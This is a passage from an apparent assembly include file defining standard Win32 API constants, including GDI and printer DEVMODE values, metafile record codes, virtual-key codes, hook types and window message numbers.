4+RC_BITMAP64 equ 8+RC_GDI20_OUTPUT equ 10h+RC_GDI20_STATE equ 20h+RC_SAVEBITMAP equ 40h+RC_DI_BITMAP equ 80h+RC_PALETTE equ 100h+RC_DIBTODEV equ 200h+RC_BIGFONT equ 400h+RC_STRETCHBLT equ 800h+RC_FLOODFILL equ 1000h+RC_STRETCHDIB equ 2000h+RC_OP_DX_OUTPUT equ 4000h+RC_DEVBITS equ 8000h+DIB_RGB_COLORS equ 0+DIB_PAL_COLORS equ 1+DIB_PAL_INDICES equ 2+DIB_PAL_PHYSINDICES equ 2+DIB_PAL_LOGINDICES equ 4+SYSPAL_ERROR equ 0+SYSPAL_STATIC equ 1+SYSPAL_NOSTATIC equ 2+CBM_CREATEDIB equ 2h+CBM_INIT equ 4h+FLOODFILLBORDER equ 0+FLOODFILLSURFACE equ 1+CCHDEVICENAME equ 32+CCHFORMNAME equ 32+DM_SPECVERSION equ 320h+DM_ORIENTATION equ 1h+DM_PAPERSIZE equ 2h+DM_PAPERLENGTH equ 4h+DM_PAPERWIDTH equ 8h+DM_SCALE equ 10h+DM_COPIES equ 100h+DM_DEFAULTSOURCE equ 200h+DM_PRINTQUALITY equ 400h+DM_COLOR equ 800h+DM_DUPLEX equ 1000h+DM_YRESOLUTION equ 2000h+DM_TTOPTION equ 4000h+DM_COLLATE equ 8000h+DM_FORMNAME equ 10000h+DMORIENT_PORTRAIT equ 1+DMORIENT_LANDSCAPE equ 2+DMPAPER_LETTER equ 1+DMPAPER_FIRST equ DMPAPER_LETTER+DMPAPER_LETTERSMALL equ 2+DMPAPER_TABLOID equ 3+DMPAPER_LEDGER equ 4+DMPAPER_LEGAL equ 5+DMPAPER_STATEMENT equ 6+DMPAPER_EXECUTIVE equ 7+DMPAPER_A3 equ 8+DMPAPER_A4 equ 9+DMPAPER_A4SMALL equ 10+DMPAPER_A5 equ 11+DMPAPER_B4 equ 12+DMPAPER_B5 equ 13+DMPAPER_FOLIO equ 14+DMPAPER_QUARTO equ 15+DMPAPER_10X14 equ 16+DMPAPER_11X17 equ 17+DMPAPER_NOTE equ 18+DMPAPER_ENV_9 equ 19+DMPAPER_ENV_10 equ 20+DMPAPER_ENV_11 equ 21+DMPAPER_ENV_12 equ 22+DMPAPER_ENV_14 equ 23+DMPAPER_CSHEET equ 24+DMPAPER_DSHEET equ 25+DMPAPER_ESHEET equ 26+DMPAPER_ENV_DL equ 27+DMPAPER_ENV_C5 equ 28+DMPAPER_ENV_C3 equ 29+DMPAPER_ENV_C4 equ 30+DMPAPER_ENV_C6 equ 31+DMPAPER_ENV_C65 equ 32+DMPAPER_ENV_B4 equ 33+DMPAPER_ENV_B5 equ 34+DMPAPER_ENV_B6 equ 35+DMPAPER_ENV_ITALY equ 36+DMPAPER_ENV_MONARCH equ 37+DMPAPER_ENV_PERSONAL equ 38+DMPAPER_FANFOLD_US equ 39+DMPAPER_FANFOLD_STD_GERMAN equ 40+DMPAPER_FANFOLD_LGL_GERMAN equ 41+DMPAPER_LAST equ DMPAPER_FANFOLD_LGL_GERMAN+DMPAPER_USER equ 256+DMBIN_UPPER equ 1+DMBIN_FIRST equ DMBIN_UPPER+DMBIN_ONLYONE equ 1+DMBIN_LOWER equ 2+DMBIN_MIDDLE equ 3+DMBIN_MANUAL equ 4+DMBIN_ENVELOPE equ 5+DMBIN_ENVMANUAL equ 6+DMBIN_AUTO equ 7+DMBIN_TRACTOR equ 8+DMBIN_SMALLFMT equ 9+DMBIN_LARGEFMT equ 10+DMBIN_LARGECAPACITY equ 11+DMBIN_CASSETTE equ 14+DMBIN_LAST equ DMBIN_CASSETTE+DMBIN_USER equ 256+DMRES_DRAFT equ -1+DMRES_LOW equ -2+DMRES_MEDIUM equ -3+DMRES_HIGH equ -4+DMCOLOR_MONOCHROME equ 1+DMCOLOR_COLOR equ 2+DMDUP_SIMPLEX equ 1+DMDUP_VERTICAL equ 2+DMDUP_HORIZONTAL equ 3+DMTT_BITMAP equ 1+DMTT_DOWNLOAD equ 2+DMTT_SUBDEV equ 3+DMCOLLATE_FALSE equ 0+DMCOLLATE_TRUE equ 1+DM_GRAYSCALE equ 1h+DM_INTERLACED equ 2h+RDH_RECTANGLES equ 1+GGO_METRICS equ 0+GGO_BITMAP equ 1+GGO_NATIVE equ 2+TT_POLYGON_TYPE equ 24+TT_PRIM_LINE equ 1+TT_PRIM_QSPLINE equ 2+TT_AVAILABLE equ 1h+TT_ENABLED equ 2h+DM_UPDATE equ 1+DM_COPY equ 2+DM_PROMPT equ 4+DM_MODIFY equ 8+DM_IN_BUFFER equ DM_MODIFY+DM_IN_PROMPT equ DM_PROMPT+DM_OUT_BUFFER equ DM_COPY+DM_OUT_DEFAULT equ DM_UPDATE+DC_FIELDS equ 1+DC_PAPERS equ 2+DC_PAPERSIZE equ 3+DC_MINEXTENT equ 4+DC_MAXEXTENT equ 5+DC_BINS equ 6+DC_DUPLEX equ 7+DC_SIZE equ 8+DC_EXTRA equ 9+DC_VERSION equ 10+DC_DRIVER equ 11+DC_BINNAMES equ 12+DC_ENUMRESOLUTIONS equ 13+DC_FILEDEPENDENCIES equ 14+DC_TRUETYPE equ 15+DC_PAPERNAMES equ 16+DC_ORIENTATION equ 17+DC_COPIES equ 18+DCTT_BITMAP equ 1h+DCTT_DOWNLOAD equ 2h+DCTT_SUBDEV equ 4h+CA_NEGATIVE equ 1h+CA_LOG_FILTER equ 2h+ILLUMINANT_DEVICE_DEFAULT equ 0+ILLUMINANT_A equ 1+ILLUMINANT_B equ 2+ILLUMINANT_C equ 3+ILLUMINANT_D50 equ 4+ILLUMINANT_D55 equ 5+ILLUMINANT_D65 equ 6+ILLUMINANT_D75 equ 7+ILLUMINANT_F2 equ 8+ILLUMINANT_MAX_INDEX equ ILLUMINANT_F2+ILLUMINANT_TUNGSTEN equ ILLUMINANT_A+ILLUMINANT_DAYLIGHT equ ILLUMINANT_C+ILLUMINANT_FLUORESCENT equ ILLUMINANT_F2+ILLUMINANT_NTSC equ ILLUMINANT_C+RGB_GAMMA_MIN equ 2500+RGB_GAMMA_MAX equ 65000+REFERENCE_WHITE_MIN equ 6000+REFERENCE_WHITE_MAX equ 10000+REFERENCE_BLACK_MIN equ 0+REFERENCE_BLACK_MAX equ 4000+COLOR_ADJ_MIN equ -100+COLOR_ADJ_MAX equ 100+FONTMAPPER_MAX equ 10+ENHMETA_SIGNATURE equ 464D4520h+ENHMETA_STOCK_OBJECT equ 80000000h+EMR_HEADER equ 1+EMR_POLYBEZIER equ 2+EMR_POLYGON equ 3+EMR_POLYLINE equ 4+EMR_POLYBEZIERTO equ 5+EMR_POLYLINETO equ 6+EMR_POLYPOLYLINE equ 7+EMR_POLYPOLYGON equ 8+EMR_SETWINDOWEXTEX equ 9+EMR_SETWINDOWORGEX equ 10+EMR_SETVIEWPORTEXTEX equ 11+EMR_SETVIEWPORTORGEX equ 12+EMR_SETBRUSHORGEX equ 13+EMR_EOF equ 14+EMR_SETPIXELV equ 15+EMR_SETMAPPERFLAGS equ 16+EMR_SETMAPMODE equ 17+EMR_SETBKMODE equ 18+EMR_SETPOLYFILLMODE equ 19+EMR_SETROP2 equ 20+EMR_SETSTRETCHBLTMODE equ 21+EMR_SETTEXTALIGN equ 22+EMR_SETCOLORADJUSTMENT equ 23+EMR_SETTEXTCOLOR equ 24+EMR_SETBKCOLOR equ 25+EMR_OFFSETCLIPRGN equ 26+EMR_MOVETOEX equ 27+EMR_SETMETARGN equ 28+EMR_EXCLUDECLIPRECT equ 29+EMR_INTERSECTCLIPRECT equ 30+EMR_SCALEVIEWPORTEXTEX equ 31+EMR_SCALEWINDOWEXTEX equ 32+EMR_SAVEDC equ 33+EMR_RESTOREDC equ 34+EMR_SETWORLDTRANSFORM equ 35+EMR_MODIFYWORLDTRANSFORM equ 36+EMR_SELECTOBJECT equ 37+EMR_CREATEPEN equ 38+EMR_CREATEBRUSHINDIRECT equ 39+EMR_DELETEOBJECT equ 40+EMR_ANGLEARC equ 41+EMR_ELLIPSE equ 42+EMR_RECTANGLE equ 43+EMR_ROUNDRECT equ 44+EMR_ARC equ 45+EMR_CHORD equ 46+EMR_PIE equ 47+EMR_SELECTPALETTE equ 48+EMR_CREATEPALETTE equ 49+EMR_SETPALETTEENTRIES equ 50+EMR_RESIZEPALETTE equ 51+EMR_REALIZEPALETTE equ 52+EMR_EXTFLOODFILL equ 53+EMR_LINETO equ 54+EMR_ARCTO equ 55+EMR_POLYDRAW equ 56+EMR_SETARCDIRECTION equ 57+EMR_SETMITERLIMIT equ 58+EMR_BEGINPATH equ 59+EMR_ENDPATH equ 60+EMR_CLOSEFIGURE equ 61+EMR_FILLPATH equ 62+EMR_STROKEANDFILLPATH equ 63+EMR_STROKEPATH equ 64+EMR_FLATTENPATH equ 65+EMR_WIDENPATH equ 66+EMR_SELECTCLIPPATH equ 67+EMR_ABORTPATH equ 68+EMR_GDICOMMENT equ 70+EMR_FILLRGN equ 71+EMR_FRAMERGN equ 72+EMR_INVERTRGN equ 73+EMR_PAINTRGN equ 74+EMR_EXTSELECTCLIPRGN equ 75+EMR_BITBLT equ 76+EMR_STRETCHBLT equ 77+EMR_MASKBLT equ 78+EMR_PLGBLT equ 79+EMR_SETDIBITSTODEVICE equ 80+EMR_STRETCHDIBITS equ 81+EMR_EXTCREATEFONTINDIRECTW equ 82+EMR_EXTTEXTOUTA equ 83+EMR_EXTTEXTOUTW equ 84+EMR_POLYBEZIER16 equ 85+EMR_POLYGON16 equ 86+EMR_POLYLINE16 equ 87+EMR_POLYBEZIERTO16 equ 88+EMR_POLYLINETO16 equ 89+EMR_POLYPOLYLINE16 equ 90+EMR_POLYPOLYGON16 equ 91+EMR_POLYDRAW16 equ 92+EMR_CREATEMONOBRUSH equ 93+EMR_CREATEDIBPATTERNBRUSHPT equ 94+EMR_EXTCREATEPEN equ 95+EMR_POLYTEXTOUTA equ 96+EMR_POLYTEXTOUTW equ 97+EMR_MIN equ 1+EMR_MAX equ 97+STRETCH_ANDSCANS equ 1+STRETCH_ORSCANS equ 2+STRETCH_DELETESCANS equ 3+STRETCH_HALFTONE equ 4+TCI_SRCCHARSET equ 1+TCI_SRCCODEPAGE equ 2+TCI_SRCFONTSIG equ 3+MONO_FONT equ 8+JOHAB_CHARSET equ 130+HEBREW_CHARSET equ 177+ARABIC_CHARSET equ 178+GREEK_CHARSET equ 161+TURKISH_CHARSET equ 162+THAI_CHARSET equ 222+EASTEUROPE_CHARSET equ 238+RUSSIAN_CHARSET equ 204+MAC_CHARSET equ 77+BALTIC_CHARSET equ 186+FS_LATIN1 equ 1h+FS_LATIN2 equ 2h+FS_CYRILLIC equ 4h+FS_GREEK equ 8h+FS_TURKISH equ 10h+FS_HEBREW equ 20h+FS_ARABIC equ 40h+FS_BALTIC equ 80h+FS_THAI equ 10000h+FS_JISJAPAN equ 20000h+FS_CHINESESIMP equ 40000h+FS_WANSUNG equ 80000h+FS_CHINESETRAD equ 100000h+FS_JOHAB equ 200000h+FS_SYMBOL equ 80000000h+DEFAULT_GUI_FONT equ 17+DM_RESERVED1 equ 800000h+DM_RESERVED2 equ 1000000h+DM_ICMMETHOD equ 2000000h+DM_ICMINTENT equ 4000000h+DM_MEDIATYPE equ 8000000h+DM_DITHERTYPE equ 10000000h+DMPAPER_ISO_B4 equ 42+DMPAPER_JAPANESE_POSTCARD equ 43+DMPAPER_9X11 equ 44+DMPAPER_10X11 equ 45+DMPAPER_15X11 equ 46+DMPAPER_ENV_INVITE equ 47+DMPAPER_RESERVED_48 equ 48+DMPAPER_RESERVED_49 equ 49+DMPAPER_LETTER_EXTRA equ 50+DMPAPER_LEGAL_EXTRA equ 51+DMPAPER_TABLOID_EXTRA equ 52+DMPAPER_A4_EXTRA equ 53+DMPAPER_LETTER_TRANSVERSE equ 54+DMPAPER_A4_TRANSVERSE equ 55+DMPAPER_LETTER_EXTRA_TRANSVERSE equ 56+DMPAPER_A_PLUS equ 57+DMPAPER_B_PLUS equ 58+DMPAPER_LETTER_PLUS equ 59+DMPAPER_A4_PLUS equ 60+DMPAPER_A5_TRANSVERSE equ 61+DMPAPER_B5_TRANSVERSE equ 62+DMPAPER_A3_EXTRA equ 63+DMPAPER_A5_EXTRA equ 64+DMPAPER_B5_EXTRA equ 65+DMPAPER_A2 equ 66+DMPAPER_A3_TRANSVERSE equ 67+DMPAPER_A3_EXTRA_TRANSVERSE equ 68+DMTT_DOWNLOAD_OUTLINE equ 4+DMICMMETHOD_NONE equ 1+DMICMMETHOD_SYSTEM equ 2+DMICMMETHOD_DRIVER equ 3+DMICMMETHOD_DEVICE equ 4+DMICMMETHOD_USER equ 256+DMICM_SATURATE equ 1+DMICM_CONTRAST equ 2+DMICM_COLORMETRIC equ 3+DMICM_USER equ 256+DMMEDIA_STANDARD equ 1+DMMEDIA_GLOSSY equ 2+DMMEDIA_TRANSPARENCY equ 3+DMMEDIA_USER equ 256+DMDITHER_NONE equ 1+DMDITHER_COARSE equ 2+DMDITHER_FINE equ 3+DMDITHER_LINEART equ 4+DMDITHER_GRAYSCALE equ 5+DMDITHER_USER equ 256+GGO_GRAY2_BITMAP equ 4+GGO_GRAY4_BITMAP equ 5+GGO_GRAY8_BITMAP equ 6+GGO_GLYPH_INDEX equ 80h+GCP_DBCS equ 1h+GCP_REORDER equ 2h+GCP_USEKERNING equ 8h+GCP_GLYPHSHAPE equ 10h+GCP_LIGATE equ 20h+GCP_DIACRITIC equ 100h+GCP_KASHIDA equ 400h+GCP_ERROR equ 8000h+FLI_MASK equ 103Bh+GCP_JUSTIFY equ 10000h+GCP_NODIACRITICS equ 20000h+FLI_GLYPHS equ 40000h+GCP_CLASSIN equ 80000h+GCP_MAXEXTENT equ 100000h+GCP_JUSTIFYIN equ 200000h+GCP_DISPLAYZWG equ 400000h+GCP_SYMSWAPOFF equ 800000h+GCP_NUMERICOVERRIDE equ 1000000h+GCP_NEUTRALOVERRIDE equ 2000000h+GCP_NUMERICSLATIN equ 4000000h+GCP_NUMERICSLOCAL equ 8000000h+GCPCLASS_LATIN equ 1+GCPCLASS_HEBREW equ 2+GCPCLASS_ARABIC equ 2+GCPCLASS_NEUTRAL equ 3+GCPCLASS_LOCALNUMBER equ 4+GCPCLASS_LATINNUMBER equ 5+GCPCLASS_LATINNUMERICTERMINATOR equ 6+GCPCLASS_LATINNUMERICSEPARATOR equ 7+GCPCLASS_NUMERICSEPARATOR equ 8+GCPCLASS_PREBOUNDRTL equ 80h+GCPCLASS_PREBOUNDLTR equ 40h+DC_BINADJUST equ 19+DC_EMF_COMPLIANT equ 20+DC_DATATYPE_PRODUCED equ 21+DC_COLLATE equ 22+DCTT_DOWNLOAD_OUTLINE equ 8h+DCBA_FACEUPNONE equ 0h+DCBA_FACEUPCENTER equ 1h+DCBA_FACEUPLEFT equ 2h+DCBA_FACEUPRIGHT equ 3h+DCBA_FACEDOWNNONE equ 100h+DCBA_FACEDOWNCENTER equ 101h+DCBA_FACEDOWNLEFT equ 102h+DCBA_FACEDOWNRIGHT equ 103h+ICM_OFF equ 1+ICM_ON equ 2+ICM_QUERY equ 3+EMR_SETICMMODE equ 98+EMR_CREATECOLORSPACE equ 99+EMR_SETCOLORSPACE equ 100+EMR_DELETECOLORSPACE equ 101+SB_HORZ equ 0+SB_VERT equ 1+SB_CTL equ 2+SB_BOTH equ 3+SB_LINEUP equ 0+SB_LINELEFT equ 0+SB_LINEDOWN equ 1+SB_LINERIGHT equ 1+SB_PAGEUP equ 2+SB_PAGELEFT equ 2+SB_PAGEDOWN equ 3+SB_PAGERIGHT equ 3+SB_THUMBPOSITION equ 4+SB_THUMBTRACK equ 5+SB_TOP equ 6+SB_LEFT equ 6+SB_BOTTOM equ 7+SB_RIGHT equ 7+SB_ENDSCROLL equ 8+SBM_SETSCROLLINFO equ 00E9h+SBM_GETSCROLLINFO equ 00EAh+SIF_RANGE equ 0001h+SIF_PAGE equ 0002h+SIF_POS equ 0004h+SIF_DISABLENOSCROLL equ 0008h+SIF_TRACKPOS equ 0010h+SIF_ALL equ SIF_RANGE|SIF_PAGE|SIF_POS|SIF_TRACKPOS+SW_HIDE equ 0+SW_SHOWNORMAL equ 1+SW_NORMAL equ 1+SW_SHOWMINIMIZED equ 2+SW_SHOWMAXIMIZED equ 3+SW_MAXIMIZE equ 3+SW_SHOWNOACTIVATE equ 4+SW_SHOW equ 5+SW_MINIMIZE equ 6+SW_SHOWMINNOACTIVE equ 7+SW_SHOWNA equ 8+SW_RESTORE equ 9+SW_SHOWDEFAULT equ 10+SW_MAX equ 10+HIDE_WINDOW equ 0+SHOW_OPENWINDOW equ 1+SHOW_ICONWINDOW equ 2+SHOW_FULLSCREEN equ 3+SHOW_OPENNOACTIVATE equ 4+SW_PARENTCLOSING equ 1+SW_OTHERZOOM equ 2+SW_PARENTOPENING equ 3+SW_OTHERUNZOOM equ 4+KF_EXTENDED equ 100h+KF_DLGMODE equ 800h+KF_MENUMODE equ 1000h+KF_ALTDOWN equ 2000h+KF_REPEAT equ 4000h+KF_UP equ 8000h+VK_BACK equ 8h+VK_CANCEL equ 3h+VK_CAPITAL equ 14h+VK_CLEAR equ 0Ch+VK_CONTROL equ 11h+VK_DELETE equ 2Eh+VK_DOWN equ 28h+VK_END equ 23h+VK_ESCAPE equ 1Bh+VK_EXECUTE equ 2Bh+VK_HELP equ 2Fh+VK_HOME equ 24h+VK_INSERT equ 2Dh+VK_LBUTTON equ 1h+VK_LEFT equ 25h+VK_MBUTTON equ 4h+VK_MENU equ 12h+VK_NEXT equ 22h+VK_PAUSE equ 13h+VK_PGDN equ 22h+VK_PGUP equ 21h+VK_PRINT equ 2Ah+VK_PRIOR equ 21h+VK_RBUTTON equ 2h+VK_RETURN equ 0Dh+VK_RIGHT equ 27h+VK_SELECT equ 29h+VK_SHIFT equ 10h+VK_SNAPSHOT equ 2Ch+VK_SPACE equ 20h+VK_TAB equ 9h+VK_UP equ 26h+VK_NUMPAD0 equ 60h+VK_NUMPAD1 equ 61h+VK_NUMPAD2 equ 62h+VK_NUMPAD3 equ 63h+VK_NUMPAD4 equ 64h+VK_NUMPAD5 equ 65h+VK_NUMPAD6 equ 66h+VK_NUMPAD7 equ 67h+VK_NUMPAD8 equ 68h+VK_NUMPAD9 equ 69h+VK_MULTIPLY equ 6Ah+VK_ADD equ 6Bh+VK_SEPARATOR equ 6Ch+VK_SUBTRACT equ 6Dh+VK_DECIMAL equ 6Eh+VK_DIVIDE equ 6Fh+VK_F1 equ 70h+VK_F2 equ 71h+VK_F3 equ 72h+VK_F4 equ 73h+VK_F5 equ 74h+VK_F6 equ 75h+VK_F7 equ 76h+VK_F8 equ 77h+VK_F9 equ 78h+VK_F10 equ 79h+VK_F11 equ 7Ah+VK_F12 equ 7Bh+VK_F13 equ 7Ch+VK_F14 equ 7Dh+VK_F15 equ 7Eh+VK_F16 equ 7Fh+VK_F17 equ 80h+VK_F18 equ 81h+VK_F19 equ 82h+VK_F20 equ 83h+VK_F21 equ 84h+VK_F22 equ 85h+VK_F23 equ 86h+VK_F24 equ 87h+VK_NUMLOCK equ 90h+VK_SCROLL equ 91h+VK_LSHIFT equ 0A0h+VK_RSHIFT equ 0A1h+VK_LCONTROL equ 0A2h+VK_RCONTROL equ 0A3h+VK_LMENU equ 0A4h+VK_RMENU equ 0A5h+VK_ATTN equ 0F6h+VK_CRSEL equ 0F7h+VK_EXSEL equ 0F8h+VK_EREOF equ 0F9h+VK_PLAY equ 0FAh+VK_ZOOM equ 0FBh+VK_NONAME equ 0FCh+VK_PA1 equ 0FDh+VK_OEM_CLEAR equ 0FEh+WH_MIN equ -1+WH_MSGFILTER equ -1+WH_JOURNALRECORD equ 0+WH_JOURNALPLAYBACK equ 1+WH_KEYBOARD equ 2+WH_GETMESSAGE equ 3+WH_CALLWNDPROC equ 4+WH_CBT equ 5+WH_SYSMSGFILTER equ 6+WH_MOUSE equ 7+WH_HARDWARE equ 8+WH_DEBUG equ 9+WH_SHELL equ 10+WH_FOREGROUNDIDLE equ 11+WH_MAX equ 11+HC_ACTION equ 0+HC_GETNEXT equ 1+HC_SKIP equ 2+HC_NOREMOVE equ 3+HC_NOREM equ HC_NOREMOVE+HC_SYSMODALON equ 4+HC_SYSMODALOFF equ 5+HCBT_MOVESIZE equ 0+HCBT_MINMAX equ 1+HCBT_QS equ 2+HCBT_CREATEWND equ 3+HCBT_DESTROYWND equ 4+HCBT_ACTIVATE equ 5+HCBT_CLICKSKIPPED equ 6+HCBT_KEYSKIPPED equ 7+HCBT_SYSCOMMAND equ 8+HCBT_SETFOCUS equ 9+HSHELL_WINDOWCREATED equ 1+HSHELL_WINDOWDESTROYED equ 2+HSHELL_ACTIVATESHELLWINDOW equ 3+HKL_PREV equ 0+HKL_NEXT equ 1+KLF_ACTIVATE equ 1h+KLF_SUBSTITUTE_OK equ 2h+KLF_UNLOADPREVIOUS equ 4h+KLF_REORDER equ 8h+KL_NAMELENGTH equ 9+DESKTOP_READOBJECTS equ 1h+DESKTOP_CREATEWINDOW equ 2h+DESKTOP_CREATEMENU equ 4h+DESKTOP_HOOKCONTROL equ 8h+DESKTOP_JOURNALRECORD equ 10h+DESKTOP_JOURNALPLAYBACK equ 20h+DESKTOP_ENUMERATE equ 40h+DESKTOP_WRITEOBJECTS equ 80h+WINSTA_ENUMDESKTOPS equ 1h+WINSTA_READATTRIBUTES equ 2h+WINSTA_ACCESSCLIPBOARD equ 4h+WINSTA_CREATEDESKTOP equ 8h+WINSTA_WRITEATTRIBUTES equ 10h+WINSTA_ACCESSPUBLICATOMS equ 20h+WINSTA_EXITWINDOWS equ 40h+WINSTA_ENUMERATE equ 100h+WINSTA_READSCREEN equ 200h+GWL_WNDPROC equ -4+GWL_HINSTANCE equ -6+GWL_HWNDPARENT equ -8+GWL_STYLE equ -16+GWL_EXSTYLE equ -20+GWL_USERDATA equ -21+GWL_ID equ -12+GCL_MENUNAME equ -8+GCL_HBRBACKGROUND equ -10+GCL_HCURSOR equ -12+GCL_HICON equ -14+GCL_HMODULE equ -16+GCL_CBWNDEXTRA equ -18+GCL_CBCLSEXTRA equ -20+GCL_WNDPROC equ -24+GCL_STYLE equ -26+GCW_ATOM equ -32+WM_USER equ 400h+WM_NULL equ 0h+WM_CREATE equ 1h+WM_DESTROY equ 2h+WM_MOVE equ 3h+WM_SIZE equ 5h+WM_ACTIVATE equ 6h+WA_INACTIVE equ 0+WA_ACTIVE equ 1+WA_CLICKACTIVE equ 2+WM_SETFOCUS equ 7h+WM_KILLFOCUS equ 08h+WM_ENABLE equ 0Ah+WM_SETREDRAW equ 0Bh+WM_SETTEXT equ 0Ch+WM_GETTEXT equ 0Dh+WM_GETTEXTLENGTH equ 0Eh+WM_PAINT equ 0Fh+WM_CLOSE equ 10h+WM_QUERYENDSESSION equ 11h+WM_QUIT equ 12h+WM_QUERYOPEN equ 13h+WM_ERASEBKGND equ 14h+WM_SYSCOLORCHANGE equ 15h+WM_ENDSESSION equ 16h+WM_SHOWWINDOW equ 18h+WM_WININICHANGE equ 1Ah+WM_DEVMODECHANGE equ 1Bh+WM_ACTIVATEAPP equ 1Ch+WM_FONTCHANGE equ 1Dh+WM_TIMECHANGE equ 1Eh+WM_CANCELMODE equ 1Fh+WM_SETCURSOR equ 20h+WM_MOUSEACTIVATE equ 21h+WM_CHILDACTIVATE equ 22h+WM_QUEUESYNC equ 23h+WM_GETMINMAXINFO equ 24h+WM_PAINTICON equ 26h+WM_ICONERASEBKGND equ 27h+WM_NEXTDLGCTL equ 28h+WM_SPOOLERSTATUS equ 2Ah+WM_DRAWITEM equ 2Bh+WM_MEASUREITEM equ 2Ch+WM_DELETEITEM equ 2Dh+WM_VKEYTOITEM equ 2Eh+WM_CHARTOITEM equ 2Fh+WM_SETFONT equ 30h+WM_GETFONT equ 31h+WM_SETHOTKEY equ 32h+WM_GETHOTKEY equ 33h+WM_QUERYDRAGICON equ 37h+WM_COMPAREITEM equ 39h+WM_COMPACTING equ 41h+WM_OTHERWINDOWCREATED equ 42h+WM_OTHERWINDOWDESTROYED equ 43h+WM_COMMNOTIFY equ 44h+CN_RECEIVE equ 1h+CN_TRANSMIT equ 2h+CN_EVENT equ 4h+WM_WINDOWPOSCHANGING equ 46h+WM_WINDOWPOSCHANGED equ 47h+WM_POWER equ 48h+PWR_OK equ 1+PWR_FAIL equ -1+PWR_SUSPENDREQUEST equ 1+PWR_SUSPENDRESUME equ 2+PWR_CRITICALRESUME equ 3+WM_COPYDATA equ 4Ah+WM_CANCELJOURNAL equ 4Bh+WM_NOTIFY equ 4Eh+WM_INPUTLANGUAGECHANGEREQUEST equ 50h+WM_INPUTLANGUAGECHANGE equ 51h+WM_TCARD equ 52h+WM_HELP equ 53h+WM_USERCHANGED equ 54h+WM_NOTIFYFORMAT equ 55h+WM_CONTEXTMENU equ 7Bh+WM_STYLECHANGING equ 7Ch+WM_STYLECHANGED equ 7Dh+WM_DISPLAYCHANGE equ 7Eh+WM_GETICON equ 7Fh+WM_SETICON equ 80h+WM_NCCREATE equ 81h+WM_NCDESTROY equ 82h+WM_NCCALCSIZE equ 83h+WM_NCHITTEST equ 84h+WM_NCPAINT equ 85h+WM_NCACTIVATE equ 86h+WM_GETDLGCODE equ 87h+WM_NCMOUSEMOVE equ 0A0h+WM_NCLBUTTONDOWN equ 0A1h+WM_NCLBUTTONUP equ 0A2h+WM_NCLBUTTONDBLCLK equ 0A3h+WM_NCRBUTTONDOWN equ 0A4h+WM_NCRBUTTONUP equ 0A5h+WM_NCRBUTTONDBLCLK equ 0A6h+WM_NCMBUTTONDOWN equ 0A7h+WM_NCMBUTTONUP equ 0A8h+WM_NCMBUTTONDBLCLK equ 0A9h+WM_KEYFIRST equ 100h+WM_KEYDOWN equ 100h+WM_KEYUP equ 101h+WM_CHAR equ 102h+WM_DEADCHAR equ 103h+WM_SYSKEYDOWN equ 104h+WM_SYSKEYUP equ 105h+WM_SYSCHAR equ 106h+WM_SYSDEADCHAR equ 107h+WM_KEYLAST equ 108h+WM_INITDIALOG equ 110h+WM_COMMAND equ 111h+WM_SYSCOMMAND equ 112h+WM_TIMER equ 113h+WM_HSCROLL equ 114h+WM_VSCROLL equ 115h+WM_INITMENU equ 116h+WM_INITMENUPOPUP equ 117h+WM_MENUSELECT equ 11Fh+WM_MENUCHAR equ 120h+WM_ENTERIDLE equ 121h+WM_CTLCOLORMSGBOX equ 132h+WM_CTLCOLOREDIT equ 133h+WM_CTLCOLORLISTBOX equ 134h+WM_CTLCOLORBTN equ 135h+WM_CTLCOLORDLG equ 136h+WM_CTLCOLORSCROLLBAR equ 137h+WM_CTLCOLORSTATIC equ 138h+WM_MOUSEFIRST equ 200h+WM_MOUSEMOVE equ 200h+WM_LBUTTONDOWN equ 201h+WM_LBUTTONUP equ 202h+WM_LBUTTONDBLCLK equ 203h+WM_RBUTTONDOWN equ 204h+WM_RBUTTONUP equ 205h+WM_RBUTTONDBLCLK equ 206h+WM_MBUTTONDOWN equ 207h+WM_MBUTTONUP equ 208h+WM_MBUTTONDBLCLK equ 209h+WM_MOUSELAST equ 209h+WM_PARENTNOTIFY equ 210h+WM_ENTERMENULOOP equ 211h+WM_EXITMENULOOP equ 212h+WM_MDICREATE equ 220h+WM_MDIDESTROY equ 221h+WM_MDIACTIVATE equ 222h+WM_MDIRESTORE equ 223h+WM_MDINEXT equ 224h+WM_MDIMAXIMIZE equ 225h+WM_MDITILE equ 226h+WM_MDICASCADE equ 227h+WM_MDIICONARRANGE equ 228h+WM_MDIGETACTIVE equ 229h+WM_MDISETMENU equ 230h+WM_DROPFILES equ 233h+WM_MDIREFRESHMENU equ 234h+WM_CUT equ 300h+WM_COPY equ 301h+WM_PASTE equ 302h+WM_CLEAR equ 303h+WM_UNDO equ 304h+WM_RENDERFORMAT equ 305h+WM_RENDERALLFORMATS equ 306h+WM_DESTROYCLIPBOARD equ 307h+WM_DRAWCLIPBOARD equ 308h+WM_PAINTCLIPBOARD equ 309h+WM_VSCROLLCLIPBOARD equ 30Ah+WM_SIZECLIPBOARD equ 30Bh+WM_ASKCBFORMATNAME equ 30Ch+WM_CHANGECBCHAIN equ 30Dh+WM_HSCROLLCLIPBOARD equ 30Eh+WM_QUERYNEWPALETTE equ 30Fh+WM_PALETTEISCHANGING equ 310h+WM_PALETTECHANGED equ 311h+WM_HOTKEY equ 312h+WM_PRINTCLIENT equ 318h+WM_PENWINFIRST equ 380h+WM_PENWINLAST equ 38Fh+ST_BEGINSWP equ 0+ST_ENDSWP equ 1+HTERROR equ -2+HTTRANSPARENT equ -1+HTNOWHERE equ 0+HTCLIENT equ 1+HTCAPTION equ 2+HTSYSMENU equ 3+HTGROWBOX equ 4+HTSIZE equ HTGROWBOX+HTMENU equ 5+HTHSCROLL equ 6+HTVSCROLL equ 7+HTMINBUTTON equ 8+HTMAXBUTTON equ 9+HTLEFT equ 10+HTRIGHT equ 11+HTTOP equ 12+HTTOPLEFT equ 13+HTTOPRIGHT equ 14+HTBOTTOM equ 15+HTBOTTOMLEFT equ 16+HTBOTTOMRIGHT equ 17+HTBORDER equ 18+HTREDUCE equ HTMINBUTTON+HTZOOM equ HTMAXBUTTON+HTSIZEFIRST equ HTLEFT+HTSIZELAST equ HTBOTTOMRIGHT+SMTO_NORMAL equ 0h+SMTO_BLOCK equ 1h+SMTO_ABORTIFHUNG equ 2h+MA_ACTIVATE equ 1+MA_ACTIVATEANDEAT equ 2+MA_NOACTIVATE equ 3+MA_NOACTIVATEANDEAT equ 4+SIZE_RESTORED equ 0+SIZE_MINIMIZED equ 1+SIZE_MAXIMIZED equ 2+SIZE_MAXSHOW equ 3+SIZE_MAXHIDE equ 4+SIZENORMAL equ 